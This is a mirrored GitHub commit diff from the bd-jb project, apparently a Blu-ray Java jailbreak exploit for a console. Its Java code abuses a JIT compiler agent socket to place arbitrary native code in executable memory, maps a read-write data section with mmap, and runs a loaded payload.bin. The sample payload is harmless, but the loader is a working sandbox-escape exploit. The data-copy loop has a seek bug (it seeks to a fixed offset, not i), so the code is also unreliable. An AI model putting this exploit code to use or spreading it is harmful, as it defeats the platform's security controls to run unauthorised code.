mirror of
https://github.com/TheOfficialFloW/bd-jb
synced 2024-11-22 08:52:15 -05:00
Support data section in payload and implement errno.
This commit is contained in:
parent
3020b3476d
commit
560014c17d
@ -34,6 +34,7 @@ public final class API {
|
|||||||
private static final String JVM_NATIVE_PATH_SYMBOL = "JVM_NativePath";
|
private static final String JVM_NATIVE_PATH_SYMBOL = "JVM_NativePath";
|
||||||
private static final String SETJMP_SYMBOL = "setjmp";
|
private static final String SETJMP_SYMBOL = "setjmp";
|
||||||
private static final String UX86_64_SETCONTEXT_SYMBOL = "__Ux86_64_setcontext";
|
private static final String UX86_64_SETCONTEXT_SYMBOL = "__Ux86_64_setcontext";
|
||||||
|
private static final String ERROR_SYMBOL = "__error";
|
||||||
|
|
||||||
private static final String MULTI_NEW_ARRAY_METHOD_NAME = "multiNewArray";
|
private static final String MULTI_NEW_ARRAY_METHOD_NAME = "multiNewArray";
|
||||||
private static final String MULTI_NEW_ARRAY_METHOD_SIGNATURE = "(Ljava/lang/Class;[I)J";
|
private static final String MULTI_NEW_ARRAY_METHOD_SIGNATURE = "(Ljava/lang/Class;[I)J";
|
||||||
@ -65,6 +66,7 @@ public final class API {
|
|||||||
private long JVM_NativePath;
|
private long JVM_NativePath;
|
||||||
private long setjmp;
|
private long setjmp;
|
||||||
private long __Ux86_64_setcontext;
|
private long __Ux86_64_setcontext;
|
||||||
|
private long __error;
|
||||||
|
|
||||||
private boolean jdk11;
|
private boolean jdk11;
|
||||||
|
|
||||||
@ -127,7 +129,7 @@ public final class API {
|
|||||||
private void initSymbols() {
|
private void initSymbols() {
|
||||||
JVM_NativePath = dlsym(RTLD_DEFAULT, JVM_NATIVE_PATH_SYMBOL);
|
JVM_NativePath = dlsym(RTLD_DEFAULT, JVM_NATIVE_PATH_SYMBOL);
|
||||||
if (JVM_NativePath == 0) {
|
if (JVM_NativePath == 0) {
|
||||||
throw new IllegalStateException("JVM_NativePath symbol could not be found.");
|
throw new IllegalStateException("Could not find JVM_NativePath.");
|
||||||
}
|
}
|
||||||
|
|
||||||
__Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL);
|
__Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL);
|
||||||
@ -145,7 +147,7 @@ public final class API {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (__Ux86_64_setcontext == 0) {
|
if (__Ux86_64_setcontext == 0) {
|
||||||
throw new IllegalStateException("__Ux86_64_setcontext symbol could not be found.");
|
throw new IllegalStateException("Could not find __Ux86_64_setcontext.");
|
||||||
}
|
}
|
||||||
|
|
||||||
if (jdk11) {
|
if (jdk11) {
|
||||||
@ -156,13 +158,17 @@ public final class API {
|
|||||||
dlsym(RTLD_DEFAULT, JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL);
|
dlsym(RTLD_DEFAULT, JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL);
|
||||||
}
|
}
|
||||||
if (Java_java_lang_reflect_Array_multiNewArray == 0) {
|
if (Java_java_lang_reflect_Array_multiNewArray == 0) {
|
||||||
throw new IllegalStateException(
|
throw new IllegalStateException("Could not find Java_java_lang_reflect_Array_multiNewArray.");
|
||||||
"Java_java_lang_reflect_Array_multiNewArray symbol could not be found.");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
setjmp = dlsym(LIBC_MODULE_HANDLE, SETJMP_SYMBOL);
|
setjmp = dlsym(LIBC_MODULE_HANDLE, SETJMP_SYMBOL);
|
||||||
if (setjmp == 0) {
|
if (setjmp == 0) {
|
||||||
throw new IllegalStateException("setjmp symbol could not be found.");
|
throw new IllegalStateException("Could not find setjmp.");
|
||||||
|
}
|
||||||
|
|
||||||
|
__error = dlsym(LIBKERNEL_MODULE_HANDLE, ERROR_SYMBOL);
|
||||||
|
if (__error == 0) {
|
||||||
|
throw new IllegalStateException("Could not find __error.");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -218,7 +224,7 @@ public final class API {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
throw new IllegalStateException("Native method could not be installed.");
|
throw new IllegalStateException("Could not install native method.");
|
||||||
}
|
}
|
||||||
|
|
||||||
private void buildContext(
|
private void buildContext(
|
||||||
@ -345,6 +351,10 @@ public final class API {
|
|||||||
return call(func, (long) 0);
|
return call(func, (long) 0);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public int errno() {
|
||||||
|
return read32(call(__error));
|
||||||
|
}
|
||||||
|
|
||||||
public long dlsym(long handle, String symbol) {
|
public long dlsym(long handle, String symbol) {
|
||||||
int oldHandle = (int) RTLD_DEFAULT;
|
int oldHandle = (int) RTLD_DEFAULT;
|
||||||
try {
|
try {
|
||||||
|
@ -80,7 +80,7 @@ class Exploit implements Runnable {
|
|||||||
socket.close();
|
socket.close();
|
||||||
|
|
||||||
Screen.println("[*] Executing payload...");
|
Screen.println("[*] Executing payload...");
|
||||||
long payload = jit.mapPayload("/OS/HDD/download0/mnt_ada/payload.bin");
|
long payload = jit.mapPayload("/OS/HDD/download0/mnt_ada/payload.bin", 0x4000);
|
||||||
int ret = (int) api.call(payload, api.dlsym(API.LIBKERNEL_MODULE_HANDLE, "sceKernelDlsym"));
|
int ret = (int) api.call(payload, api.dlsym(API.LIBKERNEL_MODULE_HANDLE, "sceKernelDlsym"));
|
||||||
Screen.println("[+] Result: " + ret);
|
Screen.println("[+] Result: " + ret);
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
@ -19,6 +19,18 @@ public final class JIT {
|
|||||||
public static final int PAGE_SIZE = 0x4000;
|
public static final int PAGE_SIZE = 0x4000;
|
||||||
public static final int ALIGNMENT = 0x100000;
|
public static final int ALIGNMENT = 0x100000;
|
||||||
|
|
||||||
|
public static final int PROT_NONE = 0x0;
|
||||||
|
public static final int PROT_READ = 0x1;
|
||||||
|
public static final int PROT_WRITE = 0x2;
|
||||||
|
public static final int PROT_EXEC = 0x4;
|
||||||
|
|
||||||
|
public static final int MAP_SHARED = 0x1;
|
||||||
|
public static final int MAP_PRIVATE = 0x2;
|
||||||
|
public static final int MAP_FIXED = 0x10;
|
||||||
|
public static final int MAP_ANONYMOUS = 0x1000;
|
||||||
|
|
||||||
|
public static final long MAP_FAILED = -1;
|
||||||
|
|
||||||
private static final int CHUNK_SIZE = 0x30;
|
private static final int CHUNK_SIZE = 0x30;
|
||||||
|
|
||||||
private static final int SCE_KERNEL_MODULE_INFO_SIZE = 0x160;
|
private static final int SCE_KERNEL_MODULE_INFO_SIZE = 0x160;
|
||||||
@ -46,6 +58,7 @@ public final class JIT {
|
|||||||
private final API api;
|
private final API api;
|
||||||
|
|
||||||
private long sceKernelGetModuleInfo;
|
private long sceKernelGetModuleInfo;
|
||||||
|
private long mmap;
|
||||||
private long read;
|
private long read;
|
||||||
private long write;
|
private long write;
|
||||||
private long BufferBlob__create;
|
private long BufferBlob__create;
|
||||||
@ -65,15 +78,23 @@ public final class JIT {
|
|||||||
}
|
}
|
||||||
|
|
||||||
private void init() {
|
private void init() {
|
||||||
|
initSymbols();
|
||||||
|
initJitHelpers();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void initSymbols() {
|
||||||
sceKernelGetModuleInfo =
|
sceKernelGetModuleInfo =
|
||||||
api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_GET_MODULE_INFO_SYMBOL);
|
api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_GET_MODULE_INFO_SYMBOL);
|
||||||
|
mmap = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, "mmap");
|
||||||
read = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, READ_SYMBOL);
|
read = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, READ_SYMBOL);
|
||||||
write = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, WRITE_SYMBOL);
|
write = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, WRITE_SYMBOL);
|
||||||
|
|
||||||
if (sceKernelGetModuleInfo == 0 || read == 0 || write == 0) {
|
if (sceKernelGetModuleInfo == 0 || read == 0 || write == 0) {
|
||||||
throw new IllegalStateException("Symbols could not be found.");
|
throw new IllegalStateException("Could not find symbols.");
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private void initJitHelpers() {
|
||||||
long modinfo = api.malloc(SCE_KERNEL_MODULE_INFO_SIZE);
|
long modinfo = api.malloc(SCE_KERNEL_MODULE_INFO_SIZE);
|
||||||
api.memset(modinfo, 0, SCE_KERNEL_MODULE_INFO_SIZE);
|
api.memset(modinfo, 0, SCE_KERNEL_MODULE_INFO_SIZE);
|
||||||
api.write64(modinfo + 0x00, SCE_KERNEL_MODULE_INFO_SIZE);
|
api.write64(modinfo + 0x00, SCE_KERNEL_MODULE_INFO_SIZE);
|
||||||
@ -92,7 +113,7 @@ public final class JIT {
|
|||||||
i++;
|
i++;
|
||||||
}
|
}
|
||||||
if (i == bdjSize) {
|
if (i == bdjSize) {
|
||||||
throw new IllegalStateException("BufferBlob::create function could not be found.");
|
throw new IllegalStateException("Could not find BufferBlob::create.");
|
||||||
}
|
}
|
||||||
BufferBlob__create = bdjBase + i - 0x21;
|
BufferBlob__create = bdjBase + i - 0x21;
|
||||||
|
|
||||||
@ -106,16 +127,28 @@ public final class JIT {
|
|||||||
i++;
|
i++;
|
||||||
}
|
}
|
||||||
if (i == bdjSize) {
|
if (i == bdjSize) {
|
||||||
throw new IllegalStateException("Compiler agent socket could not be found.");
|
throw new IllegalStateException("Could not find compiler agent socket.");
|
||||||
}
|
}
|
||||||
long compilerAgentSocketOpcode = bdjBase + i - 0x10;
|
long compilerAgentSocketOpcode = bdjBase + i - 0x10;
|
||||||
compilerAgentSocket =
|
compilerAgentSocket =
|
||||||
api.read32(compilerAgentSocketOpcode + api.read32(compilerAgentSocketOpcode + 0x3) + 0x7);
|
api.read32(compilerAgentSocketOpcode + api.read32(compilerAgentSocketOpcode + 0x3) + 0x7);
|
||||||
}
|
}
|
||||||
|
|
||||||
public long mapPayload(String path) throws Exception {
|
private long align(long x, long align) {
|
||||||
|
return (x + align - 1) & ~(align - 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
public long mapPayload(String path, long dataSectionOffset) throws Exception {
|
||||||
RandomAccessFile file = new RandomAccessFile(path, "r");
|
RandomAccessFile file = new RandomAccessFile(path, "r");
|
||||||
|
|
||||||
|
if ((dataSectionOffset & (PAGE_SIZE - 1)) != 0) {
|
||||||
|
throw new IllegalArgumentException("Ddata section offset is not page aligned.");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (dataSectionOffset > file.length()) {
|
||||||
|
throw new IllegalArgumentException("Data section offset is too big.");
|
||||||
|
}
|
||||||
|
|
||||||
// TODO: Currently we just use maximum size so that the address is predictable.
|
// TODO: Currently we just use maximum size so that the address is predictable.
|
||||||
long size = MAX_CODE_SIZE;
|
long size = MAX_CODE_SIZE;
|
||||||
// long size = file.length() + 0x88 + ALIGNMENT - 1;
|
// long size = file.length() + 0x88 + ALIGNMENT - 1;
|
||||||
@ -123,22 +156,27 @@ public final class JIT {
|
|||||||
// throw new IllegalArgumentException("Payload is too big.");
|
// throw new IllegalArgumentException("Payload is too big.");
|
||||||
// }
|
// }
|
||||||
|
|
||||||
|
// Allocate JIT memory.
|
||||||
long name = api.malloc(4);
|
long name = api.malloc(4);
|
||||||
api.strcpy(name, "jit");
|
api.strcpy(name, "jit");
|
||||||
long blob = api.call(BufferBlob__create, name, size);
|
long blob = api.call(BufferBlob__create, name, size);
|
||||||
long code = blob + api.read32(blob + 0x20);
|
|
||||||
api.free(name);
|
api.free(name);
|
||||||
|
if (blob == 0) {
|
||||||
|
throw new IllegalStateException("Could not allocate JIT memory.");
|
||||||
|
}
|
||||||
|
long code = blob + api.read32(blob + 0x20);
|
||||||
|
|
||||||
long address = (code + ALIGNMENT - 1) & ~(ALIGNMENT - 1);
|
long address = align(code, ALIGNMENT);
|
||||||
|
|
||||||
long request = api.malloc(COMPILER_AGENT_REQUEST_SIZE);
|
long request = api.malloc(COMPILER_AGENT_REQUEST_SIZE);
|
||||||
long response = api.malloc(API.INT8_SIZE);
|
long response = api.malloc(API.INT8_SIZE);
|
||||||
|
|
||||||
for (long i = 0; i < file.length(); i += CHUNK_SIZE) {
|
// Copy .text section.
|
||||||
|
for (long i = 0; i < dataSectionOffset; i += CHUNK_SIZE) {
|
||||||
byte[] chunk = new byte[CHUNK_SIZE];
|
byte[] chunk = new byte[CHUNK_SIZE];
|
||||||
|
|
||||||
file.seek(i);
|
file.seek(i);
|
||||||
file.read(chunk, 0, (int) Math.min(file.length() - i, CHUNK_SIZE));
|
file.read(chunk, 0, (int) Math.min(dataSectionOffset - i, CHUNK_SIZE));
|
||||||
|
|
||||||
api.memset(request, 0, COMPILER_AGENT_REQUEST_SIZE);
|
api.memset(request, 0, COMPILER_AGENT_REQUEST_SIZE);
|
||||||
api.memcpy(request + 0x00, chunk, CHUNK_SIZE);
|
api.memcpy(request + 0x00, chunk, CHUNK_SIZE);
|
||||||
@ -156,6 +194,29 @@ public final class JIT {
|
|||||||
api.free(response);
|
api.free(response);
|
||||||
api.free(request);
|
api.free(request);
|
||||||
|
|
||||||
|
// Map the .data section as RW.
|
||||||
|
if (api.call(
|
||||||
|
mmap,
|
||||||
|
address + dataSectionOffset,
|
||||||
|
align(file.length() - dataSectionOffset, PAGE_SIZE),
|
||||||
|
PROT_READ | PROT_WRITE,
|
||||||
|
MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS,
|
||||||
|
-1,
|
||||||
|
0)
|
||||||
|
== MAP_FAILED) {
|
||||||
|
throw new IllegalStateException("Could not map data section.");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Copy .data section.
|
||||||
|
for (long i = dataSectionOffset; i < file.length(); i += CHUNK_SIZE) {
|
||||||
|
byte[] chunk = new byte[CHUNK_SIZE];
|
||||||
|
|
||||||
|
file.seek(dataSectionOffset);
|
||||||
|
int read = file.read(chunk, 0, (int) Math.min(file.length() - i, CHUNK_SIZE));
|
||||||
|
|
||||||
|
api.memcpy(address + i, chunk, read);
|
||||||
|
}
|
||||||
|
|
||||||
return address;
|
return address;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -6,4 +6,7 @@ ENTRY(_start)
|
|||||||
SECTIONS
|
SECTIONS
|
||||||
{
|
{
|
||||||
. = 0x916300000;
|
. = 0x916300000;
|
||||||
|
.text : { *(.text) }
|
||||||
|
. = 0x916304000;
|
||||||
|
.data : { *(.data) }
|
||||||
}
|
}
|
||||||
|
@ -4,6 +4,9 @@
|
|||||||
|
|
||||||
typedef int32_t SceKernelModule;
|
typedef int32_t SceKernelModule;
|
||||||
|
|
||||||
int payload(int (* sceKernelDlsym)(SceKernelModule handle, const char *symbol, void **addrp)) {
|
int x = 1337;
|
||||||
return 1337;
|
|
||||||
|
int payload(int (*sceKernelDlsym)(SceKernelModule handle, const char *symbol,
|
||||||
|
void **addrp)) {
|
||||||
|
return x;
|
||||||
}
|
}
|
||||||
|
Loading…
Reference in New Issue
Block a user